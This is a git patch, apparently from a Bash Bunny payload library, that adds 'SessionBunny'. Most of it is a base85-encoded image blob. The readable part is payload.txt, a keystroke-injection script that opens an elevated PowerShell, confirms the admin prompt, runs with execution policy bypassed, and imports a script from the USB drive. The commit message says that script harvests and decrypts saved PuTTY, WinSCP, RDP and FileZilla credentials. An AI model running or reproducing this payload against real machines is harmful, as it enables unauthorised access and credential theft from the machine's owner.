z2M3ja*K?=Lg2>YnU$<4I8;6j6CY1%xzg7eEdGFu9w;9lI6r=H~uVG?04vfmA(6r%q$6uvV0#t%*}zkH?%Z7u0Cbq4_|q^|MX zf;r$6i<88aD7)rqIrJtF=)UlvGG@w7p`J#gowIDRn&Ea->sGG_S-rB`F*W<$TF1uo7C#>_aq&&&=B8D2zaa>h$Beh#OSdvMMBQqa{`Vp0G z92d9>oR6*DEon^U*HO99c9FPegd4=a=^Y`pGJrXl${s2Nw!X!qliaW+?p@}SX0a=; zZf!Sb^6vJfDqu|jBx+81F(y0-yVcXd=JnjLCpE{wr(kL}PM=-b5Pizs0rOYX2uc*) z>E$balSTd$WvVE?sZE8fxrm9LKs>h3T6O#qDs)9$jcL?cVt<&c(*As^Us%U-y!?^s}@Z2@RdkPDA zPK&uW;2<*X|B}w&U$e0OlaS}2lD}Wrvw!2PblViJ%u5s+pB>`*;NH%hZbAE>LLCs|2VBi0{}{&WBOvqbe7yT)VO-K5*Q# zx38_9eZi!45oDd&v?Q`pP;S&Tm!r2*Ck;#=9T9NDAA|m5G;O&5SXUGsX5|{ ziVpYffyz82zge7tc_}7n!~)S=CFE=v9h9u!yHI*I1uKySVqU%y)R=RwROCI43^S+8 z9%D&sOd?eDZPFDVn|7?98> z%&m@ma8?#SYjXXFDlrQH^|4*J&l0R`$DW5x-&^_O7*FR+AnHrlk%8-=)i;&fIfsEK z3+QZh1QIL%z}mjrwXA#$(8t948H(@&wLlmN7RdCYS}eE9DO;;(vhhLK&5U;XE@zB( zjfc$_h0l4~u(R@MU_(8E^$+x^G79=83brkdJ`0`5*^NlMAPJL&ss>@Qz>tl)P1zah z!`|z9c$P4+cUOqd>QmX3C{YGZmr;wU5`I}r^R@0-AkHg*;htxz&TeAas>s@zX!P^h zwmU~A7@kcKmk1L?nUraLxqo|} z9v|ek?FiS=C?Rzl_fb3ZBO142g{m?$g*dMjf^$|>Z()^XKJ_(2XvNFd8b<0?v7;qr zd|$$!<(XH93yJ#t-3QIcf99iM5=7Ii030sSBkqmcgMd_Xax6(>t8B~!7%!EftyL~v za#YcF(Lqw&oYLOb03UTrnclLyN%h;#Pp=bH`s1BqFzn2@tT2oNtv+tv?KBFjC|DcR0+PyJOSrWZanTHM8S?3w$T6JV3x5SQY~82# zWRaBSP%m=TY&ZhSW5fE=Yyk>%Ji1QLgXLRaWYN)>2dO4?L@h=Kc(JTnB>W6g2HJRu zg|wcC<9V2Il07mRIXIc7)o_90Z2T3N#|UmBFH6wt;E~eUGEMI>*pIkXK|$Qq>;k%E3hgu!Ou5S zh%1c;y`M_vP+k!@Z9JkHDekw;dMxS@(*+Su;ryjXyeZrFIzV6SDm9+!X@qK2AC}Ac zDt>J??;hp^uZ^=xm}!^W0qxQXX^!ro*NQ1Fh9yR;K!b{XEY&~RS)wt;`T3BvR3wx? z`x8aT<;`D9c{-P(e(}${0%<8q2-KuvM?7JJ;(r?$SQfUI z%T$+xpSbP~v5$)cC1jXJZ>2XTDl;!c)hl4rN5NTkz)X>|6sr&_#Dl&)OBnmV+5?>0 z@Ydg^uEq{pUtkPozVt-4qGD_}MjKs`x5jQmQZ-1nTU&ENIo*Hk>bs9t083k8L09Qj8uGyp$21;4k|Jns7HY)1jh7;DgYAu}l1Hk{gajXyQ?be)rf{&ygnanQ>3(cj00ESdfX@U<3HKj>&YI6eq4fXI zjHUknK$-uKt1BFSJ<4A~eE>19#%SEJY`6t4m^-as6B$i$9IdSRV#f$`74Y{_qjhw` z7w>Fto{{LcA^`Dp&+3;@8_F~@fhdMCiSkO#bP1Et0$s+0 z(eckO34`ix@?VYT&rVRGQS9-m8!{GswCdK?_=I()adT)wbrE>cK_+2W<%TtGav+$# zB;jUNkkG`X&lL=IIe_5=bu_Vm7?a}a3zgt0gD9qy9Q*3N*4bJ=R3StMjUW!|q>J;mHDmp$Pax#9GhcLHW`4WX&bDET+3Z1qJ<`^DRqW zDZ45Jl;^F)q``oV1xC(a`}CJf8sDgE{RbAk@n-DEwdF!P&Q&3ADj!(n>e*1}{pB_ICtAnZp zRbP&dp2d+Hu#+!j#+Rt0z*jifkt>(&>Y!&82mi-hN8{U!C>c1QirgqQHwB!G9*bl# z9?rlTxe%GyxOQ01ReGM!4Unhi;_`r2)dS=q{?7&Qjr|Bn&$9+Fecu3w0O7gh_Ep`JMaDyW@@V#v9}A|A^aN)?RC_IluYM`K3p{I~qXKwB*|J#5d9-@(sBP zwQzmlcux0DQq~vgl1+%N%_|d_S0GzqIrsOhBQUnYZk_!%XFN~fDPRWGhOPmxQ`=gy zljJ!84}kmNoKtmn?PcbZ64Q0jkkxz+Fi<4|pj??x{RX=hTfUsVa-v{!E+$6TTpr-@ zo+|v_30e(b3wIdhIV#xzXr?-)M8A7@ze3@+Z26y+7pfGp7vYtrfm>FwBDS8ko-ysT z$z*#%E2X7He!kW6!`#2cA)d5;r}?X?QP1~@pa?+CfEm0z;iuKx!*q`GA7@|Gc|&ZN z-5!^bN;G1=FBw2~M14IJN4`x_iUFmYICg=t+%z~8`Fh?N*A8}twz)U&k~%k7&mJ~? zr&@^uwRxz#QHA@Fc7^x8oZ=I|C&7q5o!QBM5$Ye-&D`1fhwRNv#{46#oSD?O>2+h|4MG+rK18_y z)`--Cf9T)xX8*;^Q*O;KO%YhOv^%uHRLyVyLf+W_Uu|BJ{O-J#gpQMD^a$Ie$- zFBYwKef{5hp&z`*d$swwFr4Z3+Z1*z4-rX!D@IFraEymsn@dwQOS3+K1>}UK=!Fwm zW90Lqw^9gOg)!J^VLGw^Un$WbWtP^PE{ld1Rwc zPP>o`M#z##g98l2YyI6ic@b?Cy|V8`1pvim8!^1PlR!^Qbnt*B|I7#F4y$1Kx?%fJ+2)ENs{&FiVyP#iqw(jqbfH;pPNW@s*UO@b5 zIjO6!pSL7kcVWHq*1QFBfbbSk?wFBQuW6N*hJknT-6v!i9f28jf;?w zL3y4AgqCwEiXBA?6f8^90ZIl^(K;?~#wT4DU^?;;_C@g%2xIODt6dR<0J)HvdDQXg z;1%*9a@Ks#ZwFs#TA6JFWa;;8_%D}a=pW@vb^DN5`aAmZMkhYF+s%#l$Og$?ISNpw zmz?L6cHgPlKBpf`?VUtw#q(Iw3^@$n7#YQ_5wBSa`W#jF$GS$b)tE@P_?+sKJX%K-pPR`z?v;J0a<@2~Wboy^g{UJoRt1`_O8sUd3&p1>%>H z0FwP8IEm@`Kf9d8Ipgm@~(3-auu5$xdKXAC_Dk12a_*wN6VEjkoGWW&Dh{2KtJSJDu)T zZ9IL3h3honJqL(46W_IdM*EUee!adM5bIk<>aj&Wi((GlyMfF;8l+9(yp$)NY~(Lx z=Av@e)hDC|XaM=X6Tzhq^*}sP)H7aZhhd`Cfs0w65?r zWSJ^6xpr6R{heC}M*hwbO9AO16j@fuB7>h5NwWqx1j)9ZDCq)ta?~`MskgC>T(CTt z>fH-3|4jWgSs_G{KBR8CmAxgdp038DQ~dQc-Ra`O^FwYGK-#Hypk$@NsC&k)812;U z>6egf6%;_JhVFe>cet<}Y?(CNmL|BEbyWwvMFl7{WX0U$p26W-m zb^+)*Q1Y{Tp|Y~AtRCG=74GjGy~AYC1Y@&&&%IL*Mrd#ONX$qp;8=5^U3dm=+HU_6OWXYO&kd-I+# z+JBUfBZ*WE6dPRf26#Oa3w*?h`DcOxlMROU1J^Aj4z~37{Lb$?Q|@#8ikC08rx`nt z|2f{sm2?+=;LF>B)9M z+cv*nxlR54rRy)4EMH2HWrwn@wu$HL1quU)`Vz9OQpY{n$yE(XDrd`@pIh464ICJZ z_XQTy`2&5OabtYu@Yx?%%=XBRe1voC8AYp_K=h=gwO&Y;LQ7`Gwvt;clCujeP_9>x zX6(G+4hR?h8B;!3raz|uZ+ysjka=pXprjIy=d~Zd7)JY3iVap`A9emmN3zu)a|3cL z)e6i>Uul>EPLritDAKXc#}&yFG1%!?RT1Z}*lXR75ozzWQv@2{%UsUzJ>FXQM%TmW zm;2?6s$Sd1`2#S&u~(dDum3ZB&7O5fiM`P*G0 zv&_Z;7r764@8Aroj~gHAiG>Y9edvA455Z5tfW*$8BG!LZ?LQ=YEPV|EN&k@EkrcS@ z+9`mz{kIs;RvcoKw_&r}DJ7J0tvky+0z5tE!!M>CX2zCzcj4nZ2Fl7Rsehlsz{B;I zYgxFqju;n2{N;^a(by-oHN@UkJ9LvT zmiLbP;RQ4`4JM^28AhtGN3#Nm3qKAWRu{eiyrGlF-}*%#J|ABBPtW_6lzaStt$B$3 zn@U!G%KAcZGtdyq7RSyQ9_^9txj_DijlIQ`>2xR!O!e{Czp=jozck-*?0N>7X@5JA zg%HsO_@+6BL3>frwPRI4wQaPge~X$v|vek{_6RAl0wkJ zs_|^d{ALhZs-AGAFN%>8Bbl> zaswcNJ0Y3QBmwG5&z8t?qtVniM(iovbRPLUGaZ1u`@phR#9?OWNgX>J;5oa(taJK1 zeSn5>C^7rnbPSJ-1ktbw&Hh^1z8RqF2Wo>zSqWxb%9mk-WbL0TIEADn!rQ3KdHyV> z>%YV3!J@YYeE>CKQZI)_c|aTzWmjYCOd+S<tBi`+0Fzw4Eva* zGfQ}?Qx^u|0U^w|Bh7cl%>f_u$jF@e8~xaWsl%x@vDssj?l8g}R|E9VH|s?rdq2I7 zK(1;6_~rB!vWO#9bZ^YkA^vdP_SZ)z02F-=UQpVt$lcX@VIPZjRb%nfG${52c5F^D z?P4v*GxpRJwl@`H#s|)L=zY91VZclmXxgN!_nGgl=(Vhm(VGehrb_GUqzgwD|fnO=ry^D?iX@Vye$B7nF!9Tj-IAP7=e1 zgSY$|5SF!j9h$;y69X@E9`D>o)`Vg#r8EhJhvUTtMP;yKe%?m-un3yAXWZ& zepnAc9W9N$a>~vOp>P=#s8A`CDCtG=o`bL*2%AS;H>?>0RPZPRq9^(vnI&?)M&nbF zfQd4OV!v!u6_&#vMn#ZPL05tf3-@0)zfi4Z9#j8w00P*m@0vqmnJ7k5ixH7kQJ=uHPTp$F9GjmTZJoyDO{iC;`Qszn z^1k!tfSvnFlxc|utF}K?WQ!halY;?#9U%Z7N$!xOoFh+lV;x9bjH%;qPpCe;>glf} zNqh0<@)y*WAZS)j?uyT%R;i`zI$~(l6d+(urwxC#G@ef4NXG#;)cd6=QY9KOz7-8c z92DzlX3Db8yrk8;#yoOGn9f8hje{~VK5;|^=K8=hk94KM1-xb6R50_?j%}qb60db1@#OY z0|L_Q$}z<3Mg3Ixb_%*XtWMB6aduDLmV?{c!H&as1dwYO-wTI_3X01L8J}1U_$03P z5e0BE$JpDWN#sv@5xxVERshn&jnkR;3g{D^rT@%oFmZBAPcGy34xGRkmU}!;1xOML z5Jri0g6?=Dv6x_>GGciBr<_DM#`a&!tGN~t`Qwi;BZ z^HOfgvMGSPs0Rv%bI`Z42^vg`XIdjw-f?z-0KV1Q z;H^Ngpk&M+t0Sl*6%V)$%mBZ1mQ($v6b{xTa^}g8k3@)3P&ZmA7}*D#`a0k{w9K@; zqj~n@hD}9l&Q)`fjv3cS>!6?Jjgqjp6%ZxEN~1@Q`9Nm4GPlTk;vpcn>o3R=Wl1&b zS!~tuid{hr@Uj~?ubSiI>?~96PI}DTHB*2_a`6v+GayJZtE&fiAuoM?;gygNRTjgH zmMl*CPWuPlPyg_)otMVvxf!UCD-U&bRTzz`MvcVGe5WJ_L5bTE8rh!5hfRS=U-aX{ z-kffO>w;u$6J3SfSlR}hAXqr@sY#;t71X1WCiqpC#6)uU{6iUy`0n2GMUI1jJ~vV( z3fK|y0A7K4{Fye_p|L(&%zfpPg17Z;m721jBI>?~nC=LOzbUV8gIN{sQB6|I?l>XL zMt&yUFAVTgGyZdXJ;?*PWf?uaJ3-w$%9%i&U*W(X^TqM`%{>iFqNgl@PzVS`Ad$>eh6L_j4{0@$uZ>@TcoxQs`P3}q#o}n_Fi2<|elm{)k44KVQ zft5PHcvHW%YEGEw@?bd?=o048sg{io?;5=mLEdwhcPf$_2rgjXbxF`iD_771Efy7v z?v|vNme=496l3`^zizd%lo302_KJq?F{e7*>gJ8vnZwPxwh(v4PA^6t=XxO5YT=;! z@xX$fR-X;p#W-1Pb&IEl2Hw5_-I^ZSJgyCdh<)@_JTV=arV4eY6`Rc$+al8}E=|sb zC9##_<^e4nwm6Nt3yC7ewrA_7xSse3V3<71NBXcbRT!!fS==cr$wf9vR+UN6eisAL zpb#_d!v^BQTQnf6W3*L(yl8{!!`L!BSWkwK!>6lc{-?{BD@}>fM#gpwTH5Xa(qDGC zCO0B5PMDw;1SnibFICA#)^6K|3XUgPE#`F3r)jXJ74z0gqh)UMCM_QoV4{itK4(KZHlrZb+}k*s_n>btZ@*7+HQ&OQ+Nd;y>ES{1x)|Ur>7K9v4{$+(qmW74exik zdF}XZr-03QH^` zd~#6VW;u~;NixXMpp%Ucul&Hz<)j8^Mv1DfCqvObc!4dfqmN^x_m9saj7v)$L?4UA zoL%&aR}v|7A%}nt96tZ%n_Xpdii}W?TK760F+7A%HfZYQ>)UPut@QgO7Ht*RNk1s! z4|UjObrt;MeWcH(G-(9oUPquR?fvd>LYHcjX{{H%cP$ppqMcUv)?(KCCmDZ?QH`~f25;(-< z)@Ss}rdo)1T!Q5PI4)!~@j&VH-II5ZM`6pZU;471{rd5zhj)s4lhLO?(R~~5X!Nc< zFW_5V5Q;=`xm(rd&Cl|0@E=Aj<0V9cU>Fz-`!L3jk>f*+V*25 zn&4tKq=D~9$67cZG%GU#&&qoIJyMRbHlE5^SheN@?1rsYVEXc=SVRy9a9U$~DIrXb zkvS2-&mV{oG>v;YbU?MH8~(|y4dleqkEvI(nz_!ih@is#Rnz@G!(&vrn9xz!7CKuU%X4m!$UgdpQVsoM%|?T3N~T#}EW1~dUTwJb292Ac zCvailNa6nUelK$g6BRzZ$2E&hZS%{x)&QLzDxh{-T&I0}yd3|<-ym;iwq8n;s}~;c z7O=$|Ga4jy0E|&l)ry2x@D1;W_zxJ(Fpf6oXW1xb_~ePFX3HEV#B$=!Rv8%BA^1bq z3?7vvSI8_*zVh_?)TC`ZmX4b1zTY1ptC6M;W()CX-X?Yx7^YZ*L zs_-#*GP<9O#dxr@AUg2O45-$lXQiMg=rLufY9smZ*;>S)*6VZjJYzZGd?H~Cd`&vTA6CF2ugbFJ7iG3d^~%Dl zzmj+nO6XFVCJ2vcVSF;P+6M$fO?=G0BZ27n`)v%v^Um8AYhVJ6qjJ+CNwfZeDv|zA zw3JBJ!$?_lik!sCAd{iEROZfSO)dLj=eVJcqP&8$rM^zw4k0;3Fnw6ziJ)$T98NIQQn@E|S;hEAW@{TR6uYgF&~C2P6TB0q(i-5%*z^L4IM z(?)yeya{s)d(~$>yXy8|}2|cXIHOi110sfS) zyfIX^vl8E+*=E{4?R1Itq5XHLD+Mf|QisNk`|lK!)?Py3_B=wVi&dIE>(;!5TYkft zJK2nOWfJVUNJ64=0mNFy!;5zUra7X-L7uh15hy0W5wtU2n{%V{rJ9!&BGWlN+ercP z-r|o;7DV*AU|47A>FwcT;S<_KHo6GK3evTjTs99I*FZg*@rqMXp15*9>uSZwa~l$g zi`-t6bl(p%f$nkrWt&f<=FP(4nyB}2DI7RIdt0^jc{|A%9@N5$kFZ$Aw12Xu+d`zz zcEW4lMRY^m_x0zJ^dd=~6`;uxG}c>lSp};MbT#|^-L!rgZR1{{(T~cB>z@&nRs~eI z0}LAWd;KcXohHeP6*%ZrUmhkpPfFiCL|cxra~{)$fM zlC0L2ouUiponDbtTU{3h*zxWBT*7FQe+4kiI|fYhG}~xBP=iy zGX-v4*g%GXRgkq5RAkFyo<%0%VI0Qeos0XA;+Y+M)#7~Vs%Qp`$1AxJ)ve7coA8Kl zddKf)&B2P=cw8R1pG9(L(7cX$k<6wUsBsQ|vhvjO6M?L4cNfbR9sfi-cu%ZYRRP)*=NIMIUFzUebId3VlLw>-|8!`^Yk@BE(nIW_OH-NO16Muve>Y=lL6 z;XLmGMlanr&l0y^rwg^R^DvED$Wn>5{6qjv>!jY8C}n6paqQWqxTjYz6(e~{1iugs z^lENnXjbj)@9WnA zfs_Ttdk3Z&Fp?PHvHAK+yz-$b$f^M=FyvKM>tIq1Gx_>dRI<0T-s6$;afQ)I^#cn6 z5{>KCaVx!>X?zUN67tIC7Hwlzk`261Flbwa#6iU87qq_`A7Wd2S?~Ei_!aaF7^gO* zpL-I6 zJiGPh3QmrjP6VH4-3CJ-;?Nc-Shfh$S+t8+i`A=&OZ|xnJ?`~tSKaEXjD9Lb7%l18 zeT^w*5|A2E-K^MbsX2X>d|@go^@i_N>!{O(h3R&9f`Zc_naFvoj56C=76IY-gCj-w zUzR2I5u>ZeSjXVA1=J+=j~^E&{SH{IcW!F@&O$fxjTyVF5*CU6kcV|xmg}3w0w^m` zf*(QPWXSVjVAd6C2P#^(plh=h)#WuvTZK9caJpGcXO--%t)j7(+&GAzEuB<-H&CPa z*>Q-s(D)5G;sJmHd{U{1G2@<>qCJ@b{ujD!M1_diePvFdiLzrx4F2g(v&(7J6hrc( z$;GDTDKI~;)#S0^Hk(fq7Vd`Ty{nQ-A4qu{&K>q_l!UF^y*DKI53UqZ#pMq zy1xu;yQu*+BYE|K5&q}qHq#iv3w=JfF;jsNyJ)}NIdC;K(lfuI>EJW`7!;{O&VBg? zf>`%e%-KsW3amS*W~mI^O}D71%>q|o%0D=1&3kPJRgPBHby>yoI`++L zLFUxrn_j#}i|YBKSRa9>qvf1kU*vK%*CTmm>NxzW{pLGB^gGhxN8(EthmT--wgaM# z``<~5YVv)5ZK}mv3!R;>acFRp9ofuWQ$Vwi-+03$5Go}qp+Sod!}UPbBDgy+w>^b! z>_5=)Tq0#ntPq#lXSZRS97U z-iWdt1&P6v5csU)f=6CCa)14hbs5s#i3WsFTS;DfjY%w@%;?vqR)VsC%-yV36? z1mlC59uw!q%j!Npfad!cr{&nc47yRcUE(eTfg_&40+15yuTc4&g3HKzhRkewxf`?& zxAEv5b=H*t+YSFz%*<92-kOg##}!Gm*W%rDyn9VciTESijTKPx8*@U3*wl${t6-Y* ze{O-k&f^yv_ks`lJWy4xhZ@yazz!S=oxdFlGmV||vI%ac;@3!b`!;Et0|svDIyMg^ zoAx*56RHSLrx}Z~@DQw2#H~*X-^z+#ZI?|!I;GcXnUN-l#kCG?T8~zHgqc{;xWRzh zdUb+X-VoOu7~*%L{3JWW=U8Nu|A|qB2U3&UuC=SXEp-cv%2Q!ak(&zz1@X_7no>f~ z8Z^ZZEbiBidz_?rZ@jFM-g{kl3|`dRWq4&>zIYM(L^Zf~yf1rtsN>l$E6-@#OMS`} zpS$4_IQRAtQ4n=;@`FCF$!#4kYGGz$h?X4;?U1uYvd>S}L~f=wEL2P+=4X#!M#@&# z6n4L8mIrLha5nBRu`c@8;VDf>WFNMsw0pRs)oS#MnOn5Gb4$XYm%S6-TRG>CmJITX zl(ttydU&B>7LwHT!!k@zHg{09sh@GJSnX4=RyVpQJwc)sVp!~1f`QMjMx+cV;DV$~ zgMQY_+Io7XxYy&96>6T`dJhiNI<4(^u#YX3N`ScHX@b~gW6z3r72E)qzlt61QO%uv zrI_upTtRcWKl`=NL*X4R)xrw-j6rsB+XY{oVGfB*UYMQ;N-WtP4@mKht{rlB9QDp#3-t5 zp43v9S?6c&F)*PdvOT#Fb};u@=lfq8wQO;SmG{YHwmTDwCXsba0ytoe;r0g8>v?5r ztrya)pJ(pM?WMm>B#x1kMRNVU5F!MZ)Hh7qq^tEF>n${bt` z(MqlDB!G>!ty~iy6jpR(umPz`z&BIN#rx}u$JQjdlMrz_UHV?48a2d~+(r4iyH%}W zmW)|xTvCs^=eKAKZJrv=6DyQy{{u>dp-FXz1XmpM)1n#ttv9*x-hWn9x4?+fA3_aY|$zuk#yt5 zd;AAsujsNuZ#NfXqg0J~8MwjLcO=E_OW_};^vs~5JDKy@xL7Z5m489t;BkO0>?DCQ zcvL5AHESkkM#gKr3RkgzwlCWGh(W)M+B?bLyx0#rv1*&OBG+xaL0gSCrG!zveQ&F? zpL?98csA-WEyE0I4-aCqp0|ptnog2x$xrA{9wzGonSn5i5SH({f(Ub~?1+53@Ss*)hWq4jZt>`!-$MEJvgzJPZg=0tZ&%FLt}pg! zYskK*Dw%_s@}7bfq!@ zH^|ZN^xL5V&3ffh+wwedW7-#Y4f@QMW!$9eJ49EPPN+N5fied%63w+F^G9Bh##L5- z6yUgjxUL&Z{gCu+cvKQTtP!eccbs|IUip<5C^ditNuUhAyt7T)faTYuW!Y4e)2v3J zXUzhtEH$7&BIx7*rc3jKP-j26Vk4A!Ub;eJKmOMXr_fB$jRl!-J{XWh5hfdbdI!!J?Y}amF&ZY!3bQeQu)8s_nqd&rje;M=WSP%i7m-yA;WAeK)5Q8-1+(AU* za`}ga7@ZOZNMN@_jtaL!zMVC{OcHHW{Xpuow~D$WACjOT`+~jQBs3xl)VXl?fj-*so4{&)u{Qja9XA$6?>b zt+FMhxCPBWGL2=&ig;;=%J=SZ>_2Mh+FI~y9@2HLJi+kRcUv};dj-dD^T4+ufg|PY2;GY3yjvAM2L7jVOoQN9jI)xPAeeTeY)dIJ_ z+67#>v>d5XeT!p<0Ve3YYpUjqdUVAr7eQD!R3r=(fOv2)qk>5se;JjRT0Jnm0##o| z(m^l+{QHfUo(h!tf6OHB|H8e+E=xn7f5w)N47gt@tQoK+^teKD+&qm zumyZQ0@h9ZTbP%hklhe1XPDT@YokrFel8dlMi2M+!(uJGPc zwlN7;>ML^IBmGh3YDK=aBLmJkmV;?5(%Z@RR8%0OU(fO4B*6X9dVN22*D8e=Fyd~q zO|pHSWsO{^D=*W0Vl7X4>|=~8)?nZsf^5ATpI_AX5BlL=W-I_-nDa+5c=)I|ypA33 zb;bG-%=x+wa&yc>KqgMCPPQrn26Coz(yPiy$x0WYU`d@ zd}VHk$aAmaoF_Lv3*`ZSBYN``vq`_aC^+3zs zKyN74KS=jX;|H=Y#z>hQRP$bd)nj-wx9OdZOlEpq@0^>tEdsHQ6ldws<{nEN>)pg- zl;vYJ9EgT{pQRu1mDOd}RCVNYv(SNN6?;=g$iP$<1oo(|zhreE3)S$FziJ}zt0$jj zu&T8InkDD|vrfN#!H<}g+EgwZ>$X0WtzA-ya;vt;|GqLF_wF=@*s5`ZRFPaRW$%RT za>c{zoNT293%mXld+hgTwd%v4$BmjfCI*@Y@c*=Zg&OS^)WveiLWoO(#zN;ToL=U| zg(YzEjOJW-GMp*awciLln&w|@X?PAksMD+_(0`ID{K%j?`s|V_QQvXEr*};M{2IlS ze3U&ffMzrDvCtH3>{A7u#qL0<_>NRsolb#Ibi{qi&HjJ107m z>W7|028|icTOXCyssicKV!GHacOL!K(8Jef$0TcbE9a1yUC!pljcG3y@N2HpwlawY zOrI*T5296GE~$0vb)EiVzHi5vV=^)n@d2tapmS!)GtG+kZu#VyTZYGH%AJ#VOKn5m z9?*}eSZ4wEiksDUL)%j@Hc|J$`gKAbg+F}||2S4Ah+Viv2!n)qcZR8Y3|1fl3#G)F zDVrbn-v+QJ8=5=QqU!8%C*0chhyS!uRZI%W5Pqd`Q?j=cc9;7}?U@{kh+spx;m; zu+)9u=c7Nc<^5N$?(5D`929)+V>*ipUz~ow?u2*qXwmF)W!s^X(s36zEGJY}5tv_y zxKwv&q#9@YwszyOrMv3j>xVGf_cQ-3wD#b4r`E=+zk4hEIDg1@=Uh5@$XKBB{ufB# z-;lchIhQl(Oy3;}BBdSTu3!3Byn--z8Ol1MdY(5OvbpeLT4m4wYBkc{2%{8 zw_zvtpehWw=&`7?RkB;Zt{&8X0e_#o!t%SYK;G&ej3aR4OFiY@RL|Q&jP{rJ_nQ9k z!xntsik#^rAMzIWU_qPli~o2U)c#J;KYp0$X8G%GpW}kIav-}S4f{2u1Hu&W1ZiLf5B+~=Y0A9eqQ=5-h~0EE{i>R z-#h)C4mSSflpSVw^DVZ(QYA8C^U3vmSZq}YDj$>lI=|D80==iyk_4wtL4>XiROtQf5v=!8wUV=RR9b`DpWycJgrm6^Lwa5Z=`iFlGxb4khg#0 zV^VU1C*0t5$6+wTrlf`0@0&%4#^Rp^(Aa|NY+g*^1KnCvgp-MmQ)Rc|(+Wh^0}?v` zv>HCndH#9b=!24ED?woG7K6mOnZB?>3tDM3%#cZd=)fzsROpDQ1{iGF^tNLj@8Fdv z?9S&^@zcXg=$jYl^&|WV3(&GOQkp%+q-M?y)aqk?B`<0TR^K6YI>p}YR=Sp*L$_l? z@v3uVUK)y!i}zx_h?0p-?_t9E?ikGz>tMa4ADl!O#qXj;Qw+|!u4^H3aE{*a*>8Xj z@S?C@7lVrAs&Oz~BXJL*oGdwCJ`m@v2?wEoA!>oFxl5&WLyNT_X8PVFc3A+O?%qoh zc*<3Wu5dHK?a!qkEE*a%p<+Dyg<>g?vy72E#kp*_y3`z|#ajDgj1#hB>&DQdn{czkWpWwe6VT{nI zo6TP@zxpx-?`h2so%J{5(W`dl%hUE&$pC|u9|6)gN$bcu?CMPv%jW32>Oe&xXx@F( zF{I@*qxM*L&q$TQaM?RQ_8rFlC)C<6yJJ4F)Za;fV8lUo#+tVV#^3CY6bzf#QYV%g z`w>QcEN1+wo}fv8G#gZ>cx1ynHy40R8DgGO%wg@-6VGk>-R&8l1A`SjBPtyO)s}IW z(Lc{9+Vqn3oTKN%O$8b0iHgdM{3!Ik&DT$;HSrk*079w=fUBKnkxc2kjw9*@Iq(;W z#HAMLOuAglZq>@Rs zYO_|odxPR$2{q%|Kc+)&HhWh4CKSy8xZa(NxO>njlYpGmr zzO={i=2y*+3ejIEoS{wC0N2$ijy_CUTmU@Ag)<`Nzmd$sGhFf30juA?j?aGDbc6&! z;k611&F{OZtr8VxeYd{b35nO@OP?4KNgh{8da2pQ{ikcNgHj-Nq1%*%!o702sg?2| zfr!?uSf*y`b%c4M&RvnK9oQ#=%Z9inPF`@+!(G+-gY z(lWTz6rzx9U?Xg#pDtV&8i5cH%lfivGvy{Vzm-@-AZJnB4TPT!aSc2y&#!`whCy|w zJ-ZYubkETXChDk(TRKCQtL!XH$uljP*_^RADcpNNB*+v0n%x}!$7w#%P&e!*m2#C|YfN|uVOmO~tc zrIntLRManmQ{8AVuF8Ehun32Kd58C)mS@+o+1SBrCW8Mfwn`4N}%C-R4xR3c-l zuVxfx@}Ua&c&UwM79t;jSr0sl;Gg#1+?Zzo3UBc|k@_OkOZB>HA>H(~izJOPLF>2? zCa{c4^H;~~C^EuFUth3cS`LzNuW#d+f16M=eUkg43(h&Q13Kw12)|zZoCP~yP%yGI zH;8ljhV%SRTrGWpZymME1fUGfpWA#54)~0&TBuE4Sm*d3cwN-`yQlfzDKLPSp_+C6 zbjm&$s#h<4T6e(MXp1XB5AfqdMfCpw=t5ar+!z z>T@%pTW9^m?;xUc&u9BuyAQmSw}q(Q=lgm_gubBKvU?tyR>P-rbKv3TE*R|CtYui0 zg|gqp6C53X`GXLUo}s<-T=5c*42k9;MdOA=6S3QfZN36W)o%m#IMvulc-rc1G*0K| z)=&*2)>T$$9OrgDP~nz!db#zRsu%NWQuCS-ys#Do4yX`YkS^+l4suJ(rXcqHv|pF; zormwh2AX!I#)%>#_%5U3e3l!PUS~jV^`od2&SqyI+u-H<;o-2ey<@WTLG%!8C92U* zj9AU6S1V3#?=8rX!G&%;M8OnOIp!XW*}~$gip$t0cfq$!ZpqpDO2dw>gom)|M@+r? zGi#1x{4MwX*xLHcmczh1nyFFqF4kdXYm)s4qx}*}HaVOx&eR=dS}po=Y>#k9F(Yi` z$TEsMrPW{YY6p*)^Br&3HXl};o7B=45lGhN&kaffI3|jSSCbqbb~odxG<4&7k-C5l?Howx&4^Gke`IL{Ub`W7=ct} SLx1xBP*PC854&sj{C@#axrfsL literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/SessionBunny/payload.txt b/payloads/library/credentials/SessionBunny/payload.txt new file mode 100644 index 00000000..4531e181 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: SessionBunny +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 500 + +Q DELAY 1000 +Q STRING "powershell -exec bypass" +Q DELAY 500 +Q ENTER +Q DELAY 250 +Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')" +Q DELAY 250 +Q ENTER +Q DELAY 250 +Q STRING "Invoke-SessionBunny -Everything" +Q DELAY 250 +Q ENTER + +LED FINISH \ No newline at end of file From 244dbec1eb00484c5be7b5e67566dc52f7dc9911 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 11 Feb 2022 19:06:06 +0100 Subject: [PATCH 38/59] Uploaded SessionBunny Utilize the famous, here slightly modified SessionGopher script, to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Decide which inforamtion you wanna take with you - save it onto your BashBunny! --- SessionBunny/README.md | 22 + SessionBunny/SessionBunny.ps1 | 948 ++++++++++++++++++++++++++++++++++ SessionBunny/censorepic.png | Bin 0 -> 52557 bytes SessionBunny/payload.txt | 44 ++ 4 files changed, 1014 insertions(+) create mode 100644 SessionBunny/README.md create mode 100644 SessionBunny/SessionBunny.ps1 create mode 100644 SessionBunny/censorepic.png create mode 100644 SessionBunny/payload.txt 